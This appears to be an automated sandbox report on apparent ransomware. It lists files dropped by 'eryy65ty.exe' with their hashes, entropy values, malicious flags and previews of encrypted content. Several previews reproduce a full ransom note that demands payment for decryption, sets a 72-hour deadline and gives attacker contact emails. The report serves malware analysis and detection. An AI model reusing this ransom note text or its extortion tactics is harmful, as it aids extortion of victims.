                                                                                                                                        Preview:......A<m...|......7fb?.....2....ke. ...M:@.......H..C.Uv|Z.*pT..0Y..B......8fq.,..z.5...*\.}V....]..U&v..3....g~.w.....7...DPN..o..6.k|.+.....;..2G*...E3...n.....T.F.J..v\_:...?.K..d.BL....jZ.x7+D...Z.!.'z..0...-\.".c.&=.W.4.d....n.GSf.k1>x.n..qX..[Lv"...?...G..%J...|h...;Bs....i..,dO(.1.....p>....F..9.......ecSw.%.3.."j,.@.|...../...5.7.....L....,.s.t>..L..7.+......w..U..3x......N._...`.F.P.y....&U..~p.[.$n.}.'.qI..1.G..@9V.....i<...-PL.j..@.....O..e.W-7zz..u.k.s...x.P..u.#.tC.--..:..m ..}.dvN>dVY..jd..5.:.....5.....*x.....vy..x.n..).#......O.A.$3e.M.Z......g...C..^..95v.....N&L.D.R.Z.Dp.&..d.`(_..)=...Y.....K...s...a..&[V.L.&%.q..2..V..-.BI..Y.....-?U...JZ...2.....l.L..W%..MyFE........H..^..{Izt.!.._..........?.)_q..I..n.E...v..V..~.uE....]...l..f.!|...m....}.k..'ZR..r.....)...f.|Z....%. +..Wy.>....(GE.Nl..12 K..z....7..l...Q.)X..=.VK.....D.P..u{.@.=0K4.H.;...G.q...u8..\....Hq..'..3L.%8.9/..}NJ##.W.g}_...(c..2^.aLD..H.i..(A.....8P.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):6992
                                                                                                                                        Entropy (8bit):7.450843183391969
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:VBdyj/wRpYmFvO9q9Er2hUdxvySyxmCi+aSu6giImj+vhirNMgK8A6JYVhRsxdxX:Vi8RprF9ErlaS/lpIB5TJA6unSrDadI
                                                                                                                                        MD5:3BFE131CAF5E71D952173D2024398CA9
                                                                                                                                        SHA1:D3262673A719A95459EC771FBF8F70D525D0C3E0
                                                                                                                                        SHA-256:A1D760B5568CE9487DA45F1425067224D4B5D954EECFA0253E6DA7D35CC58BB8
                                                                                                                                        SHA-512:C2C6FF8B5B13958A30730B3ACC5F48C974E7E9F594E102FCEF4AF81E3B8F2C06C98A9169210A7BEF269E2D23177927EC7BF5D78068B0EE98751408CD84654BAB
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:......A<m...|......7fb?.....2....ke. ...M:@.......H..C.Uv|Z.*pT..0Y..B......8fq.,..z.5...*\.}V....]..U&v..3....g~.w.....7...DPN..o..6.k|.+.....;..2G*...E3...n.....T.F.J..v\_:...?.K..d.BL....jZ.x7+D...Z.!.'z..0...-\.".c.&=.W.4.d....n.GSf.k1>x.n..qX..[Lv"...?...G..%J...|h...;Bs....i..,dO(.1.....p>....F..9.......ecSw.%.3.."j,.@.|...../...5.7.....L....,.s.t>..L..7.+......w..U..3x......N._...`.F.P.y....&U..~p.[.$n.}.'.qI..1.G..@9V.....i<...-PL.j..@.....O..e.W-7zz..u.k.s...x.P..u.#.tC.--..:..m ..}.dvN>dVY..jd..5.:.....5.....*x.....vy..x.n..).#......O.A.$3e.M.Z......g...C..^..95v.....N&L.D.R.Z.Dp.&..d.`(_..)=...Y.....K...s...a..&[V.L.&%.q..2..V..-.BI..Y.....-?U...JZ...2.....l.L..W%..MyFE........H..^..{Izt.!.._..........?.)_q..I..n.E...v..V..~.uE....]...l..f.!|...m....}.k..'ZR..r.....)...f.|Z....%. +..Wy.>....(GE.Nl..12 K..z....7..l...Q.)X..=.VK.....D.P..u{.@.=0K4.H.;...G.q...u8..\....Hq..'..3L.%8.9/..}NJ##.W.g}_...(c..2^.aLD..H.i..(A.....8P.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):6999
                                                                                                                                        Entropy (8bit):7.447103419552367
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:HQov7kwvvcLzA9BNyDi1I+ilImCDcmFbDOPHwglktxX2aDgK8A6JYVhRsxdxprUj:wo8iKCNgm9OPHjk7mtJA6unSrDadau
                                                                                                                                        MD5:FA2FA5FA1D71FF8AC22F9C21E7862A1B
                                                                                                                                        SHA1:325DEC2726A7444D13472433428C9590CF4E6772
                                                                                                                                        SHA-256:2414D5EC4E558DAE80C45B7640363664FDC2C0C43DB1B1522694782799D7F8F6
                                                                                                                                        SHA-512:428F08857431CF837D24488661A4722C65D4023D23B0B570B9372C7616A09D7961B2383B1890866D1702C37A5C4294CACAC72ACF9DE23A3FE04ECC9E82B6F019
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.jB>X....$.Fb.ab<a7.,@.iLy.[.8....n4...J.lt.....J.".xj...^a.%4P...`.'.....^,.. Ys.Y..{P....g7.M.E.1<..W.T...A..:......&]....A...l].'=.)F.l.1..G..f.........0...../.S.......6.O......%?Q.q;9...m!p3T).@...T@.>....c...G9...B...2...f."...R3.9..+....dK.6>..JI..R..QU..E.w'Md.x..c..$.....?..?..`....7...._..SJ..l?..._.N.6.n([H.......R....*f..C0%...?E.Ca......... .b...?..{Yr.....3...`A...Y4..Rn5..g.3.{g..n..d%."......G.......:e....m..5..{<.....K .D.ygp.TsA........I],w.A.....s....[N.l.=..2.`,.}j..=.D.......J..@.P..jbu.A-(...Z\..0.. .Bc.UO..I..K:...S....c.r.^nb!._..o..6.......gY.}Mc.1...:.v..m..%...f....h...N....f..\..G....fX....c..{.40.7eE.N.`..g....`jn5....."..(4.......8XoEVj.1...G.T....../.IK...&....`..n...>.D.....g.@..g...y.6.d.kjj.Z.4p..-..5[........ ....g.R.....fJ....T@.U.4P/..W....m&.h..Ne....!.Y?...!...]...H......:.......}.K$5.L.A..t..A.G..X.]i!wn...5u..l...6...%....j3.......0r.x..D..O2...9XU..K...DB.E..M.;...@;P....Ri..G...eF.<G..o. P
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):6999
                                                                                                                                        Entropy (8bit):7.447103419552367
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:HQov7kwvvcLzA9BNyDi1I+ilImCDcmFbDOPHwglktxX2aDgK8A6JYVhRsxdxprUj:wo8iKCNgm9OPHjk7mtJA6unSrDadau
                                                                                                                                        MD5:FA2FA5FA1D71FF8AC22F9C21E7862A1B
                                                                                                                                        SHA1:325DEC2726A7444D13472433428C9590CF4E6772
                                                                                                                                        SHA-256:2414D5EC4E558DAE80C45B7640363664FDC2C0C43DB1B1522694782799D7F8F6
                                                                                                                                        SHA-512:428F08857431CF837D24488661A4722C65D4023D23B0B570B9372C7616A09D7961B2383B1890866D1702C37A5C4294CACAC72ACF9DE23A3FE04ECC9E82B6F019
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.jB>X....$.Fb.ab<a7.,@.iLy.[.8....n4...J.lt.....J.".xj...^a.%4P...`.'.....^,.. Ys.Y..{P....g7.M.E.1<..W.T...A..:......&]....A...l].'=.)F.l.1..G..f.........0...../.S.......6.O......%?Q.q;9...m!p3T).@...T@.>....c...G9...B...2...f."...R3.9..+....dK.6>..JI..R..QU..E.w'Md.x..c..$.....?..?..`....7...._..SJ..l?..._.N.6.n([H.......R....*f..C0%...?E.Ca......... .b...?..{Yr.....3...`A...Y4..Rn5..g.3.{g..n..d%."......G.......:e....m..5..{<.....K .D.ygp.TsA........I],w.A.....s....[N.l.=..2.`,.}j..=.D.......J..@.P..jbu.A-(...Z\..0.. .Bc.UO..I..K:...S....c.r.^nb!._..o..6.......gY.}Mc.1...:.v..m..%...f....h...N....f..\..G....fX....c..{.40.7eE.N.`..g....`jn5....."..(4.......8XoEVj.1...G.T....../.IK...&....`..n...>.D.....g.@..g...y.6.d.kjj.Z.4p..-..5[........ ....g.R.....fJ....T@.U.4P/..W....m&.h..Ne....!.Y?...!...]...H......:.......}.K$5.L.A..t..A.G..X.]i!wn...5u..l...6...%....j3.......0r.x..D..O2...9XU..K...DB.E..M.;...@;P....Ri..G...eF.<G..o. P
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):71343
                                                                                                                                        Entropy (8bit):5.625695472797991
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:768:TAMo7hewDN4KVpLd1eeaU0gNEwYtsNoXzFS5Eq:UZtecuaZeVuNEwYuNoXzFS5T
                                                                                                                                        MD5:A23D204C1569C1AA87A415BAF0C7202F
                                                                                                                                        SHA1:B98D4AAD50799B3C43A62F28D177B7712F0DE61F
                                                                                                                                        SHA-256:035235CBCC67B4C6B103DFECC73CD59DE4D65D5D09443890A5D81FACA391345E
                                                                                                                                        SHA-512:416CB565FF756BC6202383C781304105F4B36F3BA6BBF80D85D56B9274DB06356DE10E942329D74EF43DE60AB23F80153A99B9D90E9BF0C96465C53C36B3C6B4
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:h)7..uqE...V...u......a..@......r@[.^..J..U.W._..@MD.e..',....Y..o.0\k.L....G..H.Q ?.$.g%.ll.<..O.U..)).e..i-......z/.5........D...c.Qm.V.j....q.;.a.....Q%Qoe.U.ra.J.......q..~O)x3 ...1.s.s.k....;.].QS...9...y....]..Fiq.(...<.....wz.4*.....D"Z`...b.....n9S..x."...Hl.....b.....,..L.ftS..U.EV.R..J{wo..]......y.m.a..3.s.Or..OQ.....*.. .Hm......Y........(.Jh..v...Z.@..R.d@..W......wq..~.DZ..x.(x.i.g..Ud^IT.i_i.".'.$.[.....R.]..=.s.....5_.....W.....VU,..E..n......T......f(..$.G...5...../a.tj/hk.c5.J..S.>.F.Dz..59... ...C..V.......n...c...Rs..k...-.C1..s..,...K8.d.$<.t._~..0..~V@:u.ay......K.......]..p;o..n.j9y.4........<.3.A..."1V.F;1....SX....x..i..O..4..=.e.....r)D.;.....W.3.*.bo&..g...G..S)...1H;......).....xp..0.\.."K^O\....g..]...aw.......5g/A...{.d.mk..<P......@.}v.d..FO...a.N3..!.B&.|p.'..=......'.....H.\...I...+.MN.5.m..H....>....Y.@...T.mPw.W./..../.P..%....G*F=....(......+.x.Z...nHf...!...)No{.H..N%.p.,.....K.>..o.M$IT1.2........).
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):71343
                                                                                                                                        Entropy (8bit):5.625695472797991
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:768:TAMo7hewDN4KVpLd1eeaU0gNEwYtsNoXzFS5Eq:UZtecuaZeVuNEwYuNoXzFS5T
                                                                                                                                        MD5:A23D204C1569C1AA87A415BAF0C7202F
                                                                                                                                        SHA1:B98D4AAD50799B3C43A62F28D177B7712F0DE61F
                                                                                                                                        SHA-256:035235CBCC67B4C6B103DFECC73CD59DE4D65D5D09443890A5D81FACA391345E
                                                                                                                                        SHA-512:416CB565FF756BC6202383C781304105F4B36F3BA6BBF80D85D56B9274DB06356DE10E942329D74EF43DE60AB23F80153A99B9D90E9BF0C96465C53C36B3C6B4
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:h)7..uqE...V...u......a..@......r@[.^..J..U.W._..@MD.e..',....Y..o.0\k.L....G..H.Q ?.$.g%.ll.<..O.U..)).e..i-......z/.5........D...c.Qm.V.j....q.;.a.....Q%Qoe.U.ra.J.......q..~O)x3 ...1.s.s.k....;.].QS...9...y....]..Fiq.(...<.....wz.4*.....D"Z`...b.....n9S..x."...Hl.....b.....,..L.ftS..U.EV.R..J{wo..]......y.m.a..3.s.Or..OQ.....*.. .Hm......Y........(.Jh..v...Z.@..R.d@..W......wq..~.DZ..x.(x.i.g..Ud^IT.i_i.".'.$.[.....R.]..=.s.....5_.....W.....VU,..E..n......T......f(..$.G...5...../a.tj/hk.c5.J..S.>.F.Dz..59... ...C..V.......n...c...Rs..k...-.C1..s..,...K8.d.$<.t._~..0..~V@:u.ay......K.......]..p;o..n.j9y.4........<.3.A..."1V.F;1....SX....x..i..O..4..=.e.....r)D.;.....W.3.*.bo&..g...G..S)...1H;......).....xp..0.\.."K^O\....g..]...aw.......5g/A...{.d.mk..<P......@.}v.d..FO...a.N3..!.B&.|p.'..=......'.....H.\...I...+.MN.5.m..H....>....Y.@...T.mPw.W./..../.P..%....G*F=....(......+.x.Z...nHf...!...)No{.H..N%.p.,.....K.>..o.M$IT1.2........).
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):758
                                                                                                                                        Entropy (8bit):7.7661777137431685
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:ZtRf2jSajA9X+Q6xYwKV47HNvz2sxdMip8w7rIOP/8qkDo8val7D62oK/FASIB4y:ZX94YwKVONvakdvpLrn//W5aoId7UFz
                                                                                                                                        MD5:0BDD8AE6F42E4278E6B516F7E9B21726
                                                                                                                                        SHA1:510C125B50906E625D334C45F7F53E31B21644DB
                                                                                                                                        SHA-256:5F29E5A838B33137BE4CA10F1C7153199C916BEA6E6D81408249BCFD7990FB64
                                                                                                                                        SHA-512:4F9EFF8B1605F80D18A0CD30575150D10A44443DEECF292ACEC7A5D33F58730C45F299493CBDE7CE5E255DF43E3EF8C03DB58845F430BAC569ACF383140BB7FA
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:......J.n.......)...K*a...y\.o...j.+.q.rGD..{..xD.4....@.B....j.'t..I+...3R..<....R.q.8D9...`.........../.'...'4l.W.!A_!`Z.s.?..`...#.p.........2.....>.|...g.q0....d..1g.....*U..}..]...4....E..$...Z...GCU...b.f@......|.R..?.?-..-\.=....m?[.,..y.........4.&v.._..7...o..M.ko.kp..':[o......eU.US..Wz.q.......C.@...I...w.p.....Y.....,.F. .H=.l.$........X ...P.Q+.z.&j...c..w.DT.`..K.s..j.........R.SD.T.O...../...Eh.:&...-..y..-.L......R&..lm...u8.A.H.nH..0dc6f75d78"}]f.<.-+%.h...q.H.l..T.........P...m..|Lt.;.VlF.BY.yw...=u............8.YQ..t..q.Qz.h.b?!7.[..H9.l}..V.Y.....'sH...>.lq$..\.......B.i.....pb.Q:.fAnD...h..5=p.m...-...7.$.8......[g.a.r,a......:....|..).)6.e:'C\M.....V...].}....7p&.j.P9.f.}..|.EM....0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):758
                                                                                                                                        Entropy (8bit):7.7661777137431685
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:ZtRf2jSajA9X+Q6xYwKV47HNvz2sxdMip8w7rIOP/8qkDo8val7D62oK/FASIB4y:ZX94YwKVONvakdvpLrn//W5aoId7UFz
                                                                                                                                        MD5:0BDD8AE6F42E4278E6B516F7E9B21726
                                                                                                                                        SHA1:510C125B50906E625D334C45F7F53E31B21644DB
                                                                                                                                        SHA-256:5F29E5A838B33137BE4CA10F1C7153199C916BEA6E6D81408249BCFD7990FB64
                                                                                                                                        SHA-512:4F9EFF8B1605F80D18A0CD30575150D10A44443DEECF292ACEC7A5D33F58730C45F299493CBDE7CE5E255DF43E3EF8C03DB58845F430BAC569ACF383140BB7FA
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:......J.n.......)...K*a...y\.o...j.+.q.rGD..{..xD.4....@.B....j.'t..I+...3R..<....R.q.8D9...`.........../.'...'4l.W.!A_!`Z.s.?..`...#.p.........2.....>.|...g.q0....d..1g.....*U..}..]...4....E..$...Z...GCU...b.f@......|.R..?.?-..-\.=....m?[.,..y.........4.&v.._..7...o..M.ko.kp..':[o......eU.US..Wz.q.......C.@...I...w.p.....Y.....,.F. .H=.l.$........X ...P.Q+.z.&j...c..w.DT.`..K.s..j.........R.SD.T.O...../...Eh.:&...-..y..-.L......R&..lm...u8.A.H.nH..0dc6f75d78"}]f.<.-+%.h...q.H.l..T.........P...m..|Lt.;.VlF.BY.yw...=u............8.YQ..t..q.Qz.h.b?!7.[..H9.l}..V.Y.....'sH...>.lq$..\.......B.i.....pb.Q:.fAnD...h..5=p.m...-...7.$.8......[g.a.r,a......:....|..).)6.e:'C\M.....V...].}....7p&.j.P9.f.}..|.EM....0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):615
                                                                                                                                        Entropy (8bit):7.652802861396516
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:Z+peoRu7GJGRI/CGiLTvNiPbkoHiLeUDCfH71gaqVzPAEQkk+saobs1rsnmHn:Z+q0Cz4b1CLeUDCPG3PAe7J1rsw
                                                                                                                                        MD5:0DA75BE87E8C740494896B4EF60ADFB0
                                                                                                                                        SHA1:CE017385430C4CBC0937EB45BF30A2CB327B4867
                                                                                                                                        SHA-256:89FE010C6854E02D48492B949F2FEA1ADFB5763CE3BC1F6F63CF9684C502D10E
                                                                                                                                        SHA-512:A07FEA0003146907F2B029902089715C1A09D756B74A2088FA552180C08049822943BC3BBDA2D2A94BEA8B1082ED788FF28E50DCDFE273ABC7E0574DC912FFF3
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:...[...<?...I...`]..qR>..LYL..l........U.W..d"Pg......4.r...+..{.0.....e..X./...<...n.}O..6.Z#.-.i.n.u..^UG..L..b.`..1.&.s......-....2......T..........B...T..Us.o.^..o .&.'U..._...6t<.s]..G...'m.0....0......N4...*......b.........h...!..hG..c...!r..s....L.ec...{]<.;Tb.^`_,u_L.c.'X.....<g..oy.z...v.?.F.......5m...Iz..Plt"}}....K......LQ..e...r..j.E......*..WV...;.e.K...W..|!!$.-.[S...t.E..y..^.......&.HAO......A.RW)F#.3...AJy.[t:..$.R.'......K..V........F..l.~F.8..;~....Er...\..iUb..p..q....(r."e............>.$.....yA1K#..;..&.r).]..<....TK..D.:...U._.W.)...0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):615
                                                                                                                                        Entropy (8bit):7.652802861396516
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:Z+peoRu7GJGRI/CGiLTvNiPbkoHiLeUDCfH71gaqVzPAEQkk+saobs1rsnmHn:Z+q0Cz4b1CLeUDCPG3PAe7J1rsw
                                                                                                                                        MD5:0DA75BE87E8C740494896B4EF60ADFB0
                                                                                                                                        SHA1:CE017385430C4CBC0937EB45BF30A2CB327B4867
                                                                                                                                        SHA-256:89FE010C6854E02D48492B949F2FEA1ADFB5763CE3BC1F6F63CF9684C502D10E
                                                                                                                                        SHA-512:A07FEA0003146907F2B029902089715C1A09D756B74A2088FA552180C08049822943BC3BBDA2D2A94BEA8B1082ED788FF28E50DCDFE273ABC7E0574DC912FFF3
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...[...<?...I...`]..qR>..LYL..l........U.W..d"Pg......4.r...+..{.0.....e..X./...<...n.}O..6.Z#.-.i.n.u..^UG..L..b.`..1.&.s......-....2......T..........B...T..Us.o.^..o .&.'U..._...6t<.s]..G...'m.0....0......N4...*......b.........h...!..hG..c...!r..s....L.ec...{]<.;Tb.^`_,u_L.c.'X.....<g..oy.z...v.?.F.......5m...Iz..Plt"}}....K......LQ..e...r..j.E......*..WV...;.e.K...W..|!!$.-.[S...t.E..y..^.......&.HAO......A.RW)F#.3...AJy.[t:..$.R.'......K..V........F..l.~F.8..;~....Er...\..iUb..p..q....(r."e............>.$.....yA1K#..;..&.r).]..<....TK..D.:...U._.W.)...0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):554
                                                                                                                                        Entropy (8bit):7.611693929120727
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:K/kqMJaKjb/6cvMlW71kIepmswWf78LfTg5bXNHOYumvOUDp/wmBRn:QI1bC+CW7D6mswo8Lrg5bXdvx6eR
                                                                                                                                        MD5:D0A430B487E77DCAD316C120F17CBE6A
                                                                                                                                        SHA1:940AA4C4934A8D6FF6D6F6BB8F565CD725ED1BB1
                                                                                                                                        SHA-256:AF70A821D9F42EB60D348316909E3C6597EFE6BE0CA0079D001201C0AA3EC1E7
                                                                                                                                        SHA-512:5550750B08A34808381A8FE4F8BBC030A8B97EFABDBFC23F6AF03B2B65E00AF6962B90F8C1C871FB487A19B82C67EC3B20EB087DA217C18FC8C61A98726F5F10
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:...h..&.,.-w....N.y}..J.g...x.:G..h..DTA.B....x........D.....-.U.$...S....7]..Jr...0.:....1%_......Z.?.A1..N.*.E...gE......0....V.J&.@G....=..Z..........F...PEx.]....g.X......]l~.d...b.t!.....n+.....0.?..#.-.....3.P.ic.#m.kR.QH......Sw.=Y......]....o...r...-complete":true}../v....3..q...@..kG.X.....Ci{...`^;hk.;.D.*Y.l.m..+.}...y..{..t.l*Wa.`........._}.c'y..G.. ............6[..r....:...n...v...t.D.H....Q..pc.!BK.......I.5.u.0h<...L.Z..&8IR.'!.....d ...j&&....z..`'..$.##.H.\<...uxt...rY.......:Zv..<.............0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):554
                                                                                                                                        Entropy (8bit):7.611693929120727
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:K/kqMJaKjb/6cvMlW71kIepmswWf78LfTg5bXNHOYumvOUDp/wmBRn:QI1bC+CW7D6mswo8Lrg5bXdvx6eR
                                                                                                                                        MD5:D0A430B487E77DCAD316C120F17CBE6A
                                                                                                                                        SHA1:940AA4C4934A8D6FF6D6F6BB8F565CD725ED1BB1
                                                                                                                                        SHA-256:AF70A821D9F42EB60D348316909E3C6597EFE6BE0CA0079D001201C0AA3EC1E7
                                                                                                                                        SHA-512:5550750B08A34808381A8FE4F8BBC030A8B97EFABDBFC23F6AF03B2B65E00AF6962B90F8C1C871FB487A19B82C67EC3B20EB087DA217C18FC8C61A98726F5F10
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...h..&.,.-w....N.y}..J.g...x.:G..h..DTA.B....x........D.....-.U.$...S....7]..Jr...0.:....1%_......Z.?.A1..N.*.E...gE......0....V.J&.@G....=..Z..........F...PEx.]....g.X......]l~.d...b.t!.....n+.....0.?..#.-.....3.P.ic.#m.kR.QH......Sw.=Y......]....o...r...-complete":true}../v....3..q...@..kG.X.....Ci{...`^;hk.;.D.*Y.l.m..+.}...y..{..t.l*Wa.`........._}.c'y..G.. ............6[..r....:...n...v...t.D.H....Q..pc.!BK.......I.5.u.0h<...L.Z..&8IR.'!.....d ...j&&....z..`'..$.##.H.\<...uxt...rY.......:Zv..<.............0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1486
                                                                                                                                        Entropy (8bit):7.864190388001871
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:1NrHCaE2nX/3fvV74aVvzF/O/k30lQbunq0FfXT4Xa0ZECSiKuUTQU39k:1NDCn8HVkUrF/O/obunq0F74q2pmu8Ru
                                                                                                                                        MD5:2EA92F46915644CA1D285776310288DE
                                                                                                                                        SHA1:7EAF05E1994F1AE0F4964698D44DDE25BC98478F
                                                                                                                                        SHA-256:8FE74A285E6337B4EF7E5B6B7C26965144167EFFCBA8AB948E0BBE2323090885
                                                                                                                                        SHA-512:2367A0ACF55AA2FA7030B8C63EB074FF775AD2029FF086BB9D18F5AB2FF9AA03BD2F07CA6720F512213F052AB14CE2A2578579C0A0C0966F2E72162B540B160C
                                                                                                                                        Malicious:true
